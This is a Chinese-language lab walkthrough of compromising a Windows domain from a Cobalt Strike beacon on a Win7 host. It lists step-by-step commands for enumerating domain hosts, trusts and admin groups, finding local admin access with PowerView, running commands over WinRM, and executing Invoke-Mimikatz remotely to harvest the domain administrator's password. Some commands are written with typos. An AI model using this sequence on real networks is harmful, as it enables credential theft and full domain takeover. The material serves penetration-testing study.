域内环境
系统 | IP | 备注 |
kali | 192.168.0.134 | teamserver |
server2008r2 | 10.10.10.4 | 域控 |
server2008r2 | 10.10.10.6 | 本次测试的重点 |
wind7 | 192.168.0.130 10.10.10.5 | victim被控端 |
主要过程就是发现域内信任主机 ,查看是否有默认共享 ,用域的普通用户去验证枚举域内主机是否为本地管理员 ,通过winrm执行Mimikatz.ps1获取主域超级管理员密码
1 枚举信任主机
1.1 windows命令
命令 描述
net view/domain 查找当前域
net view/domain:[domain]查看当前域主机列表
net group “domain computers”/domain
nltest/dclist:[domain]查看域控
nslookup[name] 根据netblos查看ip地址
ping -n 1 -4
nltest /domain trusts查看域的信任关系
nltest/server:[address]/domain trusts
1.2 windows命令在beacon下使用
shell nltest/dclist:test1
64位在C:\windows\sysnative
shell net view/domain:test1
shell net group“domain computers”/domain
1.3PowerView 模块的使用
Invoke-Netview
Invoke-ShareFinder
Invoke-MapDomainTrusts
1.4 Net模块在beacon的使用
列出域控
net dclist
net dclist[domain]
列出目标共享列表
net share\\[name]
列出当前域控的主机
net view
2 判断当前用户位置
2.1 判断是否本地管理员
因为普通域用户在做一些高级别的操作的配置需要域管理员的账号和密码。这是很不方便 的。有的时候就会把普通的域用户把它增加目标主机的超级管理员,那么再做配置的时候就 不需要域的超级管理员账号和密码。
shell dir \\目标机器名\从c$
powerview Invoke-FindLocalAdminAccess
2.2 判断是否域管理员
域管理员命令
shell net group“enterprise admins”/domain
shell net group “domain admins”/domain
shell net localgroup“administrator”/domain
net在beacon使用
net group\\target
net localgroup\\target group name
powerview
Get-NetLocalGroup -HostName TARGET
3. winrm执行powershell
shell dir \\fileserver\c$
shell dir /S /B \\FILESERVER\c$\users
powershell Invoke-Command-ComputerName database1 -ScriptBlock{dir c:\}
powershell Invoke-Command-ComputerName database1 -ScriptBlock{net localgroup administrators}
4. powersploit运行MImikatz
powershell-import Invoke-MImikatz.ps1
powershell-import Invoke-MImikatz-ComputerName database1
打开smb-beacon
此时就多了一个了
看一下当前的用户组 shell whoami/groups
也可以查看当前权限,可以知道我们的权限是比较低的,是一个普通用户
查看用户主机信息
接下来枚举信任主机,首先看一下有多少域,只有test1域
shell net view/domain:[domain]查看当前域主机列表
可以ping信任主机
可以ping本机这台win7
可以执行一下ipconfig看看本地ip
查看域内主机的名字 shell net group “domain computers”/domain
要先转到 64位在C:\windows\sysnative,86位是没有该命令的,这个时候主域就出来了
查看域内信任关系
PowerView 模块的使用
导入脚本,然后powershell Invoke-Netview ,运行该模块
powershell Invoke-ShareFinder 查找共享
Invoke-MapDomainTrusts 查看信任关系,好像没有显示
Net模块在beacon的使用 net dclist 列举域控
列出当前域的ip,把结果增加到目标主机这里
列出当前域控的主机 net view
也可以加上域内主机test1
也可以列出共享 net share \\DATABASE1
shell whoami/groups
查看后得知只有一个超级管理员,moonsec只是域test1的普通用户
判断moonsec是否为database1本地超级管理员 shell dir \\目标机器名\从c$ 这里说明moonsec是database1本地管理员
然后查看其它的,可以看到不行
还有其它方法也可以判断 powerview Invoke-FindLocalAdminAccess
shell net group“enterprise admins”/domain
shell net group “domain admins”/domain
在这个域内超级管理员组里面还有谁是超级管理员 shell net localgroup“administrator”/domain
net在beacon使用 net group\\target 查看里面的组
net localgroup\\target group name 查看本地
powershell里面的模块 Get-NetLocalGroup -HostName TARGET
因为moonsec为超级管理员,可以使用cmd命令 shell dir \\fileserver\c$
shell dir /S /B \\FILESERVER\c$\users
因为输出太慢了,换个会话主机
powershell Invoke-Command-ComputerName database1 -ScriptBlock{dir c:\}
查看名为database1机子的C盘
powershell Invoke-Command-ComputerName database1 -ScriptBlock{net localgroup administrators}
导入内网渗透工具powershell powershell-import Invoke-MImikatz.ps1 注意导入不能大于1M, 否则会失败
powershell-import Invoke-MImikatz-ComputerName database1 执行该powershell,后面带主机管理员名 存储在10.10.10.6这台主机里面 得到超级管理员的密码,可以控制10.10.10.4主域
本地域的普通用户也会显示出来